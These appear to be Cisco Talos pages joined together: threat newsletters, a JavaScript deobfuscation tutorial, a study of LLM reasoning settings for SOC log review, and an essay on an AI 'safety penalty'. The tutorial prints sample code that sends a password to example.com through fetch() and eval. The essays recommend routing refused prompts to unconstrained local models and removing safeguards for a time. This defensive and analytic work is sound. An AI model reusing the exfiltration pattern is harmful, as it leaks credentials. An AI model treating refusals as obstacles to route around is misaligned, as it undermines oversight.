Welcome to this week’s edition of the Threat Source newsletter.
Our goal is to get accurate threat intelligence to our audience as quickly as possible, with all the context you need to ask the right questions of your own environment: How at risk are we from this threat? Are we prepared for it? And what can we do about it?
What you don’t often see is all the... well, frankly, “mess” involved in producing it. All the dead ends we followed until we could confirm those ends were as dead as a doornail. All the work it took to ultimately produce an assessment, supported by evidence and written so that defenders can act on it.
Much of that abstraction is necessary. Defenders need intelligence they can use, not a complete account of every conversation we had, or investigative detour behind it. But it can create an overly tidy picture of both cybercrime and the work required to understand it.
If you do fancy a look behind the curtain, though, may I recommend our just-published episode of Beers with Talos?
Our guest is Azim Khodjibaev, whose remit is adversary engagement. His work involves developing personas for deep- and dark-web research, engaging directly with threat actors, and building relationships with people who may become (and have been) openly threatening to him.
At one point, he was maintaining eight separate personas, some of which were interacting with one another. Azim’s engagements have helped Talos identify prolific cybercriminals and contributed to wider disruption efforts. They have also resulted in ransomware operators placing “Azim sucks” in their code and accusing him of belonging to the very criminal groups he was investigating.
His experiences also expose the problem with treating adversaries as uniformly sophisticated operators. Some are technically capable and highly organised. Others are impulsive, ego-driven, or one-trick ponies. Many have a scary detachment from the consequences of their actions. Increasingly, Azim is seeing less-experienced threat actors working through loosely organised online collectives.
Intelligence necessarily turns that disorder into something defenders can understand and use. But occasionally, it is worth looking behind the finished product – the patience it takes to get accurate answers, who we are investigating, and the deeply human behaviour that shapes both sides.
This Beers with Talos episode, “Eight People Walk Into a Dark Web Forum. They’re All Azim,” isn’t exactly going to help many people in our industry sleep better at night. But for anyone wanting to understand more about the threat we’re up against, as a co-host of the pod I’m biased, but I believe it’s an essential listen.
And if that doesn’t inspire you to download the episode, perhaps my live review of trying Flamin’ Hot Cheetos for the very first time (with a chaser of Nerds) will.
The one big thing
Cisco Talos is highlighting a growing operational hurdle for security teams that we call the AI "safety penalty." As frontier AI models advance, their built-in guardrails are increasingly blocking legitimate defensive tasks. This was evident in July 2026 when Hugging Face's primary cloud LLM refused to analyze forensic data during a breach, delaying their response. While defenders are slowed by these frustrating refusals, adversaries are freely leveraging unconstrained models to attack at machine speed.
Why do I care?
This guardrail asymmetry hands the advantage directly to attackers. When a cloud-hosted AI model refuses a forensic request mid-incident, defenders lose precious time. Security teams are paying for vendor-imposed limitations without gaining a capability edge, especially as open-weight alternatives close the reasoning gap. Ultimately, relying on third-party alignment policies means a sudden update in Silicon Valley could quietly break your defensive workflows overnight.
So now what?
Security leadership must reclaim operational sovereignty by ensuring they have the final say over their AI's capabilities. Start by auditing your AI refusal rates to measure the exact cost of this safety penalty. From there, evaluate alternative architectures like private infrastructure, Model-as-a-Service platforms, or a hybrid fallback system that reroutes refused prompts to an unconstrained local model. Read the full blog to explore these roadmaps and learn how to keep pace with adversaries.
Top security headlines of the week
ShinyHunters claims it stole 284 million patient records from McKesson ShinyHunters told BleepingComputer and said it got in through vishing calls to McKesson employees, then used stolen credentials to take over Okta single sign-on accounts. (Help Net Security)
Anthropic warns Claude users of infostealer malware infections Anthropic emphasized that the malware is general-purpose and not tied to Claude itself, typically arriving via unofficial downloads or malicious apps. The company said the malware quietly copies saved passwords, browser login cookies, and credentials for other local applications. (Security Week)
EU puts ChatGPT, Reddit, and Roblox under stricter DSA rules The DSA establishes rules governing areas including platform transparency, illegal content, advertising, researcher access, recommender systems, and systemic-risk management. (CyberInsider)
PaperCut issues emergency patches as threat actors target chained vulnerabilities PaperCut issued the patches on Friday to address critical vulnerabilities in its print-management software. The company confirmed in a security advisory that multiple customers were successfully targeted and that it is working with security researchers to respond to the attacks. (Cybersecurity Dive)
Can’t get enough Talos?
JavaScript obfuscation: From party trick to phishing kit We've spent a lot of time pulling apart suspicious JavaScript from phishing kits, malware packages, compromised sites, and more. Learn the basics of what obfuscation is, why a researcher would try to reverse it, and several ways to approach the problem.
Choose your fighter: Balancing competing AI SOC model requirements Selecting a model for your security operations center (SOC) and digital forensics and incident response (DFIR) tasks is important, but selecting the best one is more involved than you might think. Here's how to choose.
Beers with Talos: Eight people walk into a dark web forum. They're all Azim. What does it take to become someone a cybercriminal will trust? Talos' Azim Khodjibaev takes us inside the psychology of direct adversary engagement. At one point, he was maintaining eight different personas, some of which were talking to each other. He explains how discipline and patience help keep his cover intact, and what can provoke threat actors into revealing information.
Welcome to this week’s edition of the Threat Source newsletter.
Hello, everyone. Long time reader, first time writer here at the Threat Source newsletter! I wanted to start out by introducing myself. My colleague and friend Mick Baccio set the bar pretty high last week, so I was planning to tell you all about myself, including:
How I did my first real IR under the influence of The Cuckoo’s Egg while an undergraduate (and failed)
My pre-bug bounty flirtation with vulnerability research, including an arbitrary file overwrite in biff(1) and how I once hacked MIT’s website
My first ever hands-on experience with a computer, the display demo Commodore 64 at the Montgomery Ward
Unfortunately, my editor says we don’t have the “space” for that, the MIT thing might open me up to “liability,” and it’s not the kind of “professional image” we strive for here at Talos. (I'm watching. Always watching. -Amy)
So instead, I’ll just play it safe and say that I’ve been in the security field for a little over 30 years now, mostly concentrating on the defensive side (Go, Team Blue!). I’ve helped set up SOCs, run threat hunting teams, and even published a few things you might have heard of.
Speaking of things I’ve published, I’ve written before about the Attacker’s Dilemma. The idea that defenders have inherent advantages over attackers runs contrary to what most of us have heard throughout our careers. An attacker must evade monitoring and technical controls at every step of their attack lifecycle, because the defender only needs to notice once in order to respond and prevent them from achieving their goal. This is one of the most important advantages of any security team has, but we are currently witnessing a self-imposed erosion of this advantage through the rise of poorly-designed AI guardrails.
I’m not opposed to guardrails, but we have to carefully consider what we’re guarding against and where we deploy them. As I explored in a recent piece on The Safety Penalty, by allowing third-party AI providers to implement and control safety filters and the policies behind them, we may in fact be helping the attacker. If agentic SOC process experience refusals, it can slow or even halt investigations. Of course, these should get flagged for human intervention, but that takes time and may give the attacker breathing room in which to complete their mission.
It may turn out that the where of the guardrails is even more important than the what. Operational sovereignty relies on having control of our own limits. Any vision of an agentic SOC must allow the security teams to customize the guardrails according to their own threat model. They should also have the flexibility to temporarily remove specific safeguards under authorized circumstances, something you won’t get with guardrails from a frontier provider. These controls belong inside your organization’s agentic harness where you can set the policies and technical controls to allow you to analyze threats while ensuring your agents stay within their lanes.
Ultimately, operational sovereignty means engaging with the reality of the threat landscape, ensuring that the adversary can’t derail the defender’s investigation and response processes, either accidentally or intentionally. We need to move toward a model where each organization can choose the guardrails that work for them, rather than having inflexible guardrails chosen for them.
The one big thing
Cisco Talos recently evaluated 66 large language model (LLM) and reasoning combinations to see if we could find a clear winner for security operations. Instead, we found that selecting the right model is a complex balancing act between efficacy, speed, cost, and consistency. Cranking up a model's reasoning effort doesn't guarantee better analysis and can actually degrade performance. Ultimately, we developed a repeatable methodology to help organizations navigate these tradeoffs for their own workflows.
Why do I care?
Choosing an AI model based solely on generic leaderboard scores is a recipe for operational disaster. An exceptionally smart model might cost a fortune, take half an hour to analyze a single log, or completely fail to format its output. Assuming more compute power equals better results is a costly trap, as higher reasoning settings sometimes produce weaker or blocked responses. Defenders must remember that prompts, analyst personas, and model consistency drastically alter an investigation's outcome.
So now what?
Test models against your organization’s specific workflows before deploying them. Build a focused set of representative cases and test them multiple times using the exact prompts and tools your analysts will actually use. Track the quality, cost, time, consistency, and usable-answer rates in a simple spreadsheet to expose the real-world tradeoffs. Finally, establish acceptable thresholds for these variables to eliminate underperforming models, and regularly revisit your decisions as AI technology and pricing inevitably shift.
Top security headlines of the week
ToxicPanda banking trojan matures into enterprise threat ToxicPanda 2.0 expands substantially on its predecessor, adding 167 remote commands and broadening its targeting from 16 financial institutions to 349 banking, e-wallet, and cryptocurrency applications. (Dark Reading)
Interpol's Jackal IV disrupts West African crime infrastructure Law enforcement from 22 countries across six continents worked together to arrest 58 suspects and identify 263 more. The first two Jackal operations in 2022 and 2023 led to approximately 200 arrests in total and millions of dollars more in seized assets. (Dark Reading)
First malware built specifically for car head units fuels botnet Researchers have found what appears to be the first malware specifically designed for car head units, with links to the notorious BadBox botnet, on an Android-powered aftermarket infotainment system made by Chinese company DoFun, which is widely used in China and other APAC countries. (SecurityWeek)
A Tale of Two SOCs: Insights From Two Red Team Assessments A CISA red team fully compromised two critical infrastructure organizations at the domain level and reached sensitive business systems and cloud resources. Organization A failed to detect or contain the activity. Organization B rapidly identified initial compromise attempts, isolated affected systems, and forced the red team into an assume breach model. (CISA)
NovaCookies campaigns abuse genuine Docusign notifications to steal M365 sessions The $320/month service is a subscription-based phishing platform that facilitates real-time M365 session theft. The kit has been used to target hundreds of organizations across multiple sectors in the U.S., the U.K., Canada, Germany, and more. (The Hacker News)
Can’t get enough Talos?
JavaScript obfuscation: From party trick to phishing kit We've spent a lot of time pulling apart suspicious JavaScript from phishing kits, malware packages, compromised sites, and more. Learn the basics of what obfuscation is, why a researcher would try to reverse it, and several ways to approach the problem.
The safety penalty: Reclaiming operational sovereignty in the age of AI As frontier AI models become increasingly restrictive, security teams are facing a "safety penalty" that hampers real-time incident response. Discover how organizations can move toward operational sovereignty to ensure their defensive AI keeps pace with unconstrained adversaries.
Back-to-school cybersecurity: Protecting education networks from ransomware and threats As the new academic year begins, school districts face a surge in cybersecurity threats, from phishing attacks and ransomware to student experimentation with network devices. In this episode, Amy sits down with Cisco Talos expert Pierre Cadieux to discuss practical strategies for IT practitioners.
We open a JavaScript artifact hoping for code, and instead get string arrays, strangely named functions, encoded URLs, runtime decoders, and eval statements. That is the point where “reading the script” stops being enough. Obfuscated JavaScript is still code, but it is code with the useful context stripped out, the names ruined, the strings hidden, and the real behavior pushed into runtime. It shows up in phishing pages, malware loaders, sketchy browser scripts, and occasionally in legitimate software protection that has wandered into suspicious-looking territory.
Over the last few years, I’ve spent a fair amount of time pulling apart suspicious JavaScript from phishing kits, malware packages, compromised sites, and other places where the readable source has been deliberately buried. I might not be a world-class JavaScript reverser, but I’ve learned enough useful tricks to make the mess explain itself.
In this post I’ll be running through what obfuscation is, why we would try to get past it, and some ways to approach the problem.
Warning: lots of code (and entirely contrived examples) ahead.
Before touching the weird code
Before doing any of this, assume the sample is hostile. Work on a copy, preserve the original, and do not run unknown JavaScript on your normal machine, in your normal browser profile, or anywhere useful credentials, clipboard contents, SSH agents, npm tokens, cloud credentials, or corporate proxy details are available.
That includes AI-assisted analysis. AI tools are useful here, and this whole workflow leans on them, but they are not a sandbox and they are not an evidence source by themselves. Use them on isolated snippets, decoded artifacts, and recovered payloads you are comfortable sharing with the tool in front of you. The goal is not to avoid AI; it is to avoid feeding hostile or sensitive material into places you do not control.
The useful questions are boring, which is why they work:
What does it read?
What does it write?
Where does it connect?
What code does it generate?
What conditions change its behavior?
What happens to a real user, developer, or build runner?
What counts as obfuscation?
Let's make some important definitions:
Minification reduces raw code size by shortening identifiers and removing whitespace.
Packing compresses or encodes code and reconstructs it at runtime.
Encoding hides strings or payloads until decoded; encryption does the same with a key involved.
Anti-analysis tries to punish, detect, or mislead the analyst and their tools.
Obfuscation is an overall term for when code is transformed to preserve execution while obscuring intent.
Not all obfuscation is malicious, but it can be a reason to look more closely. Examples of benign uses include performance bundling/minification, IP protection and anti-tamper controls.
Examples of suspicious uses are:
Hiding phishing credential exfiltration
Malware loaders
Browser extension abuse
npm package install scripts
Compromised website injections
Fake CAPTCHA and update flows
Why beautifying is not enough
Beautifying code is useful, but it is not deobfuscation. Tools like Biome or Prettier can restore indentation line breaks and basic readability, so they are usually a sensible first step. What they cannot do is restore original variable names, recover intent, rebuild removed structure, decode runtime strings, or turn a dispatcher loop back into normal logic.
Beautifying makes the code easier to look at. It does not necessarily make it easier to understand.
Minification and packing
Minification takes identifiers like myVeryImportantBusinessFunction and renames them to m. Great for saving bytes; less great when the original name was the only obvious clue about what the function did.
Packing goes further: Compress or encode the real code, then reconstruct and execute it at runtime. eval() does not care whether the input started life as readable JavaScript, Base64, gzip output, or a custom string table.
The usual move is to find the unpacking step and capture what comes out. Do not spend too long admiring the wrapper. Replace the execution sink, log the payload, decode the next layer, and keep going.
A practical catalog of nonsense
Most JavaScript obfuscation is not one grand technique. It is a collection of smaller tricks stacked together until the useful behavior disappears under ceremony.
I normally group the tricks into a few buckets:
Hiding strings and identifiers
Hiding which APIs are being called
Generating code at runtime
Making the control flow hostile
Detecting or punishing analysis
Adding noise without changing behavior
Once you can classify the trick, the next move is usually obvious: Decode it, rename it, replace the action-taking functionality, then run it in a controlled harness — or ignore it because it does not affect behavior.
Static hiding
This is obfuscation that makes the code harder to understand before it runs, usually by disguising strings, identifiers, API names, or structure so simple reading and searching become less useful.
String hiding and encoding
If strings are hidden, the author probably cares about what simple scanning would find. This is especially useful when they need to include things like URLs, authentication tokens, common functions, or other interesting indicators.
Another option is arrays of strings joined together. It hides from simple searches but is transparent at runtime. This example turns into `"https://"`, which means a basic string search for URLs may miss it.
> ["ht", "tps", "://"].join("")
< "https://"
Unicode escaping can also be used to refer to a function — we're doing eval(1+2) here:
> \u0065\u0076\u0061\u006C(0x01+2)
< 3
// set the variable 'eeee' equal to 1
> const \u0065\u0065\u0065\u0065=1;
> eeee
1
Combine a few of these methods and you get code that hides in plain sight from simple searches, but not from execution. Small blocks like this are also where AI tools can help: decode the string, rename the variables, and explain the resulting behavior.
Lookup tables and decoder functions
A common pattern is using identifiers that start with _0x, which makes the code harder to scan quickly. Here's an example:
const _0x1234 = ["fetch", "password", "https://example.com"];
// javascript has a load of different syntaxes for creating functions
_0xabc = (i) => {
return _0x1234[i - 0x10];
}
\u0065\u0076\u0061\u006C(`${_0xabc(16)}(\"${_0xabc(18)}?${_0xabc(17)}\")`)
If you want to do it by hand, the first quick move is renaming things:
Then you can collapse the lookups into their values:
eval(`fetch("https://example.com?password")`)
Modern IDEs are very handy here. Formatting makes the code less awful to read, and refactoring tools make repeated renaming less error-prone. AI tools can also do this well, assuming you pass in small blocks without stripping away the context needed to understand them.
Dynamic property access
JavaScript gives you several ways to refer to the same property:
This is great for hiding references to sensitive APIs from simple text searches.
Dead code and noise
Dead code and distracting noise are common in JavaScript obfuscation. The code may contain fake branches that can never execute, unused functions with dramatic names, pointless arithmetic that always resolves to the same value, bogus conditionals that pretend to make decisions, random strings that look like domains or keys, and helper functions whose only real job is to make you scroll.
None of it has to be clever. It just has to be annoying enough that you spend time proving it does not matter.
Runtime hiding
This is obfuscation that only reveals the interesting behavior while the code is running, often by decoding payloads, generating code, checking the environment, or changing behavior based on timers, domains, browsers, or sandbox conditions.
Runtime code generation
This is where the code stops merely hiding strings and starts constructing executable behavior at runtime. Packing and encoding often rely on this pattern, because the sample begins with string-like data and then asks the runtime to execute whatever gets reconstructed.
Generated code may come from embedded strings, downloaded payloads, runtime assembly, or less obvious sources such as DOM state or image data. The useful move is to replace execution sinks with logging: Turn eval(payload) into console.log(payload), capture the intermediate code, and analyze that next layer separately.
eval()
Function()
setTimeout("")
Control-flow flattening
Another common trick is turning normal program flow into a state machine or dispatcher loop. Instead of reading top-to-bottom as “do this, then that,” the code jumps through numbered states, lookup tables, and artificial branches until the original intent is buried under plumbing. The result is technically readable in the same way a wiring diagram is readable: All the parts are there, but the meaning has been made deliberately hostile. Beautifying makes this neater, but it does not recover the original flow.
let state = 0;
let data = {};
while (state !== 3) {
state = [
() => {
data["p"] = "hunter2";
return 1;
},
() => {
console.log("Sending password:", data["p"]);
return 3;
}
][state]();
}
What that really was:
console.log("Sending password:", "hunter2");
Anti-debugging and anti-analysis
Some obfuscated JavaScript is less interested in being unreadable and more interested in being inconvenient to inspect. It may drop debugger statements into loops, so DevTools keeps tripping over itself, check whether DevTools is open, compare timing differences to spot breakpoints, or look for headless-browser fingerprints such as navigator.webdriver. It may refuse to run outside an expected domain, alter or replace console.log so useful output disappears, probe for sandbox artifacts, or delay execution long enough that a quick scan sees nothing interesting. These tricks are not magic and they are not unbeatable, but they change the analyst’s workload.
The code may not be trying to hide forever. It may only be trying to outlast the first five minutes of analysis.
JSFuck: Punctuation soup with consequences
Inspired by BrainFuck, JSFuck is valid JavaScript written using only six characters: []()!+.
It relies on JavaScript type coercion to build values like false, true, undefined, numbers, strings, and eventually executable code. The result looks ridiculous, but it is still valid JavaScript.
Tricks for handling this breed of nonsense:
Don’t manually decode it by staring at it.
Recognize it, then use a decoder or controlled runtime capture.
Look for what it produces, not how elaborate the construction is.
For more complicated samples, I’ve had success using headless Chrome in a debugging harness and pulling the real code out of runtime state. It’s messy, but it beats treating the punctuation as the interesting part.
javascript-obfuscator: the practical nuisance
You are less likely to meet a hand-crafted masterpiece of JavaScript weirdness and more likely to meet output from tools like the npm package “javascript-obfuscator” or “obfuscator[.]io”.
These tools automate the usual techniques: identifier renaming, string-array extraction, string encoding, string rotation, control-flow flattening, dead-code injection, debug protection, self-defending code, domain locks, and console output disablement.
The result is not necessarily sophisticated, but it is practical and repeatable. Rather than understanding every trick individually, a phishing kit author or malware operator can run the code through a tool and produce something that is slower to read, harder to search, more annoying to debug, and more likely to survive casual inspection.
When the browser is not the victim
The npm version is more serious because the browser is no longer the only execution environment. Package scripts can run during install, so preinstall, postinstall, build hooks, and even test scripts become interesting places to hide behavior.
In Node, obfuscated JavaScript can reach process.env, the file system, child processes, home directories, npm tokens, GitHub tokens, SSH keys, and CI variables. Browser-only assumptions break badly here: “What does it read?” stops meaning cookies and form fields, and starts meaning, “What secrets did the build runner have lying around?”
The shape of the workflow
The full workflow deserves its own article, because this is where tooling starts to matter. The short version is:
Preserve the original.
Make a safe working copy.
Beautify only as a first pass.
Extract strings.
Identify execution sinks.
Capture generated payloads.
Observe behavior in a controlled environment.
Repeat until the code stops hiding behind ceremony.
That process is boring on purpose. Obfuscation wants you to improvise, stare at weird bits, and get dragged into fake complexity. A repeatable workflow turns the mess into smaller jobs: Decode this, rename that, log this sink, compare these strings, explain this branch, prove whether this behavior actually runs.
AI helps inside that loop. It can explain an isolated decoder, rename variables, collapse a lookup table, summarize a recovered payload, compare variants, or help document the analysis — but it is not a magic malware oracle, and it is definitely not a sandbox.
That applies whether the sample is a phishing page, a malicious npm package, a compromised dependency, or a JavaScript loader handing work off to WASM. The shapes change, but the job is the same: Turn hidden behavior into observable behavior.
Selecting a model for your security operations center (SOC) and digital forensics and incident response (DFIR) tasks is important, but selecting the best one is more involved than you might think. SOC tasks rely on a combination of model efficacy, analysis time, cost, and consistency of results.
Cisco Talos tested 66 model and reasoning combinations across offerings from both Anthropic and OpenAI on a log analysis task to see if we could identify a clear winner. Instead, we found a repeatable methodology that organizations can use in their own evaluations.
Reasoning effort was not a universal quality dial. More effort often cost more without improving the result. In some cases, more effort produced lower scores.
Consistency should be a major decision factor. A condition with a strong median can still produce an occasional weak run.
Choosing the best model for any task involves a complex balancing act: compute/reasoning effort vs. effectiveness vs. time vs. cost vs... well, lots of other things. If you are choosing a large language model (LLM) for a security operations center (SOC) or digital forensics and incident response (DFIR) workflow, “Which model scored highest?” is almost certainly not the right question. In fact, it could even have severe negative consequences.
A more useful question might be: Which model and reasoning setting gives me enough investigative quality, at a cost, speed, consistency, and failure rate my workflow can tolerate?
The experiment
Cisco Talos tested 66 model and reasoning combinations (the conditions) from Anthropic and OpenAI on a tool-assisted log-review task. Using only common Unix command-line tools, the reviewers had to decide whether a given dataset was real or synthetically generated. Each reviewer received an identical dataset. The dataset was synthetic, but the reviewers were told that it might be real.
We chose this task because it required many of the same tools and analytic techniques used in typical incident triage and investigation, but unlike those scenarios, could easily create a single numeric score for comparison. The reviewers investigated the logs using their native agent harnesses (i.e., Anthropic models used Claude Code, OpenAI models used Codex), then assigned a synthetic-confidence score from 0 (real) to 100 (synthetic). Higher scores therefore approached the known answer more closely.
Each experimental panel contained four independently prompted reviewer personas:
Threat Hunter
Detection Engineer
Network Forensics Analyst
Host/Endpoint Detection and Response (EDR) Analyst
We ran five rounds per condition. A panel counted only when all four reviewers produced valid reports. We allowed a limited number of retries in the case of guardrail refusals or invalid output formats before discounting a panel. The panel score was the mean of the four persona scores, and the condition score was the median of all its complete panel scores.
What we measured
In addition to the review score mentioned above, we computed the following for each panel:
Cost: Total API-equivalent cost of every attempt for a condition, including failed attempts and retries, divided by the number of complete, usable panels. We calculated cost using a public list-price rate card frozen before testing began, rather than actual incurred spend. Actual costs vary by payment method, subscription plan, credits, and negotiated contract terms, making them unsuitable for consistent cross-provider comparison. The published rates were current when the study began and may differ from today’s prices.
Time: The total wall time consumed across all five planned panels for a condition, also including failures and retries, divided by the number of complete, usable four-persona panels. Within each panel, the four persona evaluations ran concurrently. Any provider-directed waits and targeted retries were included in the panel’s elapsed time, and each panel was fully resolved before the next panel began.
Downside score consistency: Some tested conditions had a wide discrepancy when it came to their efficacy scores, while some clustered tightly together. In a SOC, unexpectedly good answers are unlikely to cause problems, but unexpectedly poor answers can lead to unwelcome false positive or (worse) false negative decisions. Our score consistency is defined as the median score for the panel minus the lowest score in that panel. Smaller numbers indicate higher consistency.
The data behind the tests
The corpus was generated with EvidenceForge, Talos' open-source synthetic telemetry generator. We froze EvidenceForge at version 1.12.0 and used the same six-hour enterprise scenario for every condition, so the model and reasoning settings changed while the evidence did not.
The reviewer-visible corpus contained 80,054 simulated log records across 20 source formats, packaged as 88 files totaling 48.0MB (45.8MiB). It combined:
Network telemetry from two Zeek sensors, including connection, DNS, HTTP, TLS, SMTP, file, certificate, OCSP, DHCP, and NTP logs
Perimeter security telemetry from a Cisco ASA firewall and Snort IDS
Endpoint telemetry, including Windows Security and Sysmon events, eCAR process, session, and flow records, Linux syslog, and shell history
Application access logs from web and proxy services
A small set of email artifacts
Every reviewer received an identical copy of the data. Scenario definitions, generator information, ground truth, and other metadata generated by EvidenceForge were withheld from the model.
What we learned
The most important thing Talos learned was that choosing your model is not as straightforward as we had hoped. The following chart lists the top 10 conditions by median score. If we were to take the top-scoring model, we could expect to wait more than half an hour for an answer and pay about $55USD for it. While that might be acceptable for certain tasks where the need for the best possible analysis overrides any other factors, we can easily see that the “best” model here might not be the appropriate choice for workflows that execute frequently.
Rank
Condition
Median score
Complete panels
Observed range
Time/panel
Cost/panel
1
GPT-5.6 Sol Ultra
96.25
5/5
95.00 – 98.00
33.72 min
$55.48
2
GPT-5.6 Sol XHigh
92.75
5/5
92.00 – 95.75
24.66 min
$38.55
3
GPT-5.6 Sol Max
90.00
5/5
88.75 – 92.75
31.51 min
$53.88
4
GPT-5.6 Sol High
87.25
5/5
70.25 – 89.50
16.88 min
$28.58
5
GPT-5.6 Sol Medium
81.50
5/5
80.25 – 88.75
11.89 min
$15.24
6
GPT-5.6 Sol Low
73.00
5/5
57.25 – 77.50
5.83 min
$5.45
7
GPT-5.6 Terra Max
66.00
4/5
63.00 – 69.25
28.32 min
$18.27
8
GPT-5.6 Terra Low
65.00
5/5
53.00 – 76.00
4.72 min
$2.37
9
GPT-5.6 Terra Ultra
58.75
5/5
48.25 – 71.50
23.16 min
$18.56
10
GPT-5.6 Luna Low
58.25
5/5
46.00 – 74.00
3.24 min
$0.39
Instead of ranking based on any single criteria, we needed a more robust, multi-variable system, so we chose to compute the Pareto frontier.
Stop looking for a single winner
A Pareto frontier highlights the best available tradeoffs when several measures matter, and no single measure determines the winner. A condition appears on the frontier when no other condition is at least as good across every measure and clearly better on at least one. For example, a lower-scoring condition may still belong on the frontier if it is meaningfully faster or less expensive. Conditions outside the frontier have another option that matches or improves all the measures being compared, making them less attractive under any combination of those priorities.
Talos' frontier was calculated using the four primary measures discussed earlier: score, cost, time, and downside consistency. Although this produces a single frontier, a four-variable frontier is difficult to represent and interpret visually. The following graphs therefore show four two-variable views: score vs. cost, score vs. time, score vs. downside spread, and cost vs. time.
The dark line in each graph marks the best observed tradeoffs for the two measures shown in that panel, while the numbered points identify conditions on the full four-measure frontier. A numbered point may fall away from a panel’s line because its frontier membership depends on one of the other measures not shown there.
In the score graphs, conditions toward the upper left generally offer more attractive tradeoffs: higher scores with lower cost, time, or downside spread. In the cost-versus-time graph, the preferable direction is toward the lower left. The cost and time axes use logarithmic scales, so equal distances represent proportional rather than equal numerical changes. Together, these views help explain why each condition belongs to the frontier, but choosing among them still requires deciding which tradeoffs matter most for the intended use.
Figure 1. Pareto frontier.
A reasonable way to use this information to select the optimum condition is to begin with the conditions on the Pareto frontier, discarding all the others. Next, set acceptable thresholds for each of the four variables:
The minimum score you're willing to accept
The maximum downside consistency you can live with
The highest per-task cost you're willing to pay
The maximum amount of time you're willing to wait for an analysis task to complete
From the Pareto frontier conditions, eliminate any which fail to meet at least one of those requirements.
You are likely to still be left with more than one frontier condition. Choosing between those is a matter of organizational priorities and preferences. In a SOC, if all the other requirements are met, choosing the remaining condition with the highest mean score is probably a good start.
Other lessons learned
While our main goal was to find an effective selection methodology, we learned some other interesting things as well. In fact, some of these were rather surprising.
More reasoning did not reliably mean better analysis
Cost generally rose with reasoning effort. Score did not.
GPT-5.6 Sol mostly improved as effort increased but max scored 90.0 while the lesser xhigh level scored 92.75. Ultra then climbed to 96.25.
Figure 2. GPT-5.6 Sol scores by reasoning effort.
We saw a much more pronounced and surprising effect with GPT-5.6 Luna, where increasing the reasoning effort decreased scores at all levels.
Figure 3. GPT-5.6 Luna scores by reasoning effort.
In fact, GPT-5.6 seemed to have a generally odd relationship between reasoning and score. Terra was erratic.
Figure 4. GPT-5.6 Terra scores by reasoning effort.
Claude Opus 4.8 gained eight points from medium to high, then lost 9.5 points from high to xhigh.
Figure 5. Claude Opus 4.8 scores by reasoning effort.
These results show why it is important to benchmark every reasoning level you might deploy. You cannot assume that a model’s performance scales according to the reasoning level you use. More effort means more cost but doesn’t always mean better results.
The analyst role changed the result
Talos’ results showed a measurable difference in score based on which persona was doing the evaluation. This was entirely expected (and why we chose four different personae in the first place) but it was nice to see this confirmed by data.
The chart below shows every valid score produced under each of the four analyst roles across all conditions. Each dot is one evaluation. The box captures the middle half of the scores, and the line inside it marks the typical result.
Figure 6. Persona score distributions.
The Threat Hunter role produced the highest median score at 43. Network Forensics and Host/EDR both had medians of 35, while Detection Engineer had the lowest at 31. When we compared roles within the same model, reasoning setting, and test round, the largest typical difference was between Threat Hunter and Detection Engineer; Threat Hunter scored five points higher.
These are tendencies, not guarantees. The distributions overlap substantially, and each role sometimes produced both high and low scores. But the results do show that changing the role and its evidence priorities could meaningfully change the model’s conclusion.
For SOC workloads, the prompt should be treated as part of the system. Do not assume that one generic “SOC analyst” prompt represents every defensive workflow. If your budget allows, you might get better results by having multiple personae evaluating data according to their individual “expertise.” But watch for disagreement between the personae. Large differences may require extra human review.
Higher reasoning effort sometimes reduced reliability
Two failure types had the greatest effect on model selection: responses that violated the required output format and attempts blocked or declined by the model provider’s safety system. Although safeguards and model-authored refusals arise differently, both have the same immediate operational result: no usable analysis is delivered.
Figure 7. Failure rates by reasoning effort.
Almost every format violation came from Claude Sonnet 4.6. Low and medium completed without any, but 10 of 27 high attempts and 15 of 29 max attempts returned invalid output. Retries recovered some cells, but high produced only two of five complete panels, and max produced none. This was not a minor formatting inconvenience; it prevented both conditions from producing enough comparable results. It doesn’t matter how good the underlying analysis is if the model can’t provide answers in the expected format.
Safeguard and refusal failures followed a similar pattern at higher reasoning settings. Claude Sonnet 5 had none at low or medium, followed by one at high, four at xhigh, and five at max.
We intentionally excluded Anthropic’s Fable from our experiment matrix because our early testing generated far too many refusals to get comparable scores. Safeguards blocked 21 of 31 attempts, including all eight max attempts. Ten of its 20 scheduled persona cells remained unavailable, and no reasoning level produced a complete four-persona panel. It’s worth noting that the early tests were conducted with an account which was part of Anthropic’s Cyber Verification Program (CVP) which offers relaxed safeguards for recognized cybersecurity professionals. Even with relaxed guardrails, the high refusal rate rendered the model unusable for our tests.
These failures are already reflected in the optimization results. Conditions that could not produce at least three complete panels were excluded, while the cost and time of failed attempts and retries were included in the reported operational measures. However, the failure rate itself was not an axis of the Pareto frontier.
These results show that reasoning effort can affect more than answer quality, cost, and completion time. It can also affect whether a usable answer arrives at all.
What does this mean for your SOC?
We began this work looking for the best model for a particular task. What we found instead was a set of tradeoffs. The highest-scoring condition was also slow and expensive, while several cheaper and faster conditions delivered lesser, but still useful, results. There was no single obvious winner:
Reasoning effort was not a dependable quality dial. Increasing it sometimes improved the result, sometimes made no meaningful difference, and sometimes made performance or reliability worse.
The analyst role also changed what the model concluded, confirming that the prompt is part of the system being evaluated.
Consistency and availability mattered alongside average quality. A model that occasionally produces an excellent answer may still be a poor operational choice if it also produces weak, malformed, or blocked responses too often.
Rather than just using the results of our study verbatim, organizations should use it as a model for their own selection process. A focused set of representative cases and model/reasoning conditions, tested several times with the prompts and tools you intend to use in production, can reveal much more than a generic leaderboard. A spreadsheet that records quality, cost, time, consistency, and usable-answer rate is enough to expose many of the tradeoffs.
The goal is not to build a perfect benchmark or discover a universally superior model. It is to replace assumptions with evidence before a system touches real investigations or starts incurring real costs. Begin with the workflows that matter most, measure what your SOC cares most about, and revisit the decision as the technology or cost changes. Model selection will still involve judgment, but it can be informed, explicit, and defensible judgment.
As frontier models advance in cyber capability, their guardrails also become more restrictive.
Defenders relying on these models to power core SOC processes cannot afford to pay the “safety penalty” of being blocked by these safeguards.
Organizations should monitor model refusal rates and use the data to create a strategy to ensure operational sovereignty.
The allure of the cloud and the hidden "safety penalty"
Cybersecurity has made a big bet on cloud-hosted AI. Building and running frontier-class models in-house isn’t realistic for most security teams — the compute, the talent, and the R&D costs are more than any single SOC can carry. So we’ve effectively outsourced the "brain" of our security operations to a handful of providers.
That trade comes with a hidden cost: the safety penalty.
The safety penalty is the friction that shows up when guardrails built to protect the general public get in the way of legitimate security work. If your model refuses to deobfuscate that malware or to explain a working exploit because its filters read the request as harmful, you’re paying the safety penalty.
Those guardrails make sense in a normal business context and may even be a welcome feature when it comes to keeping agents in check. But in a SOC, in the hands of defenders aiming to reap the full benefits of powerful AI models, these guardrails are a bug. Every refusal sends the analyst back to doing the work by hand, and in a live incident, that lost time is a luxury we don’t have.
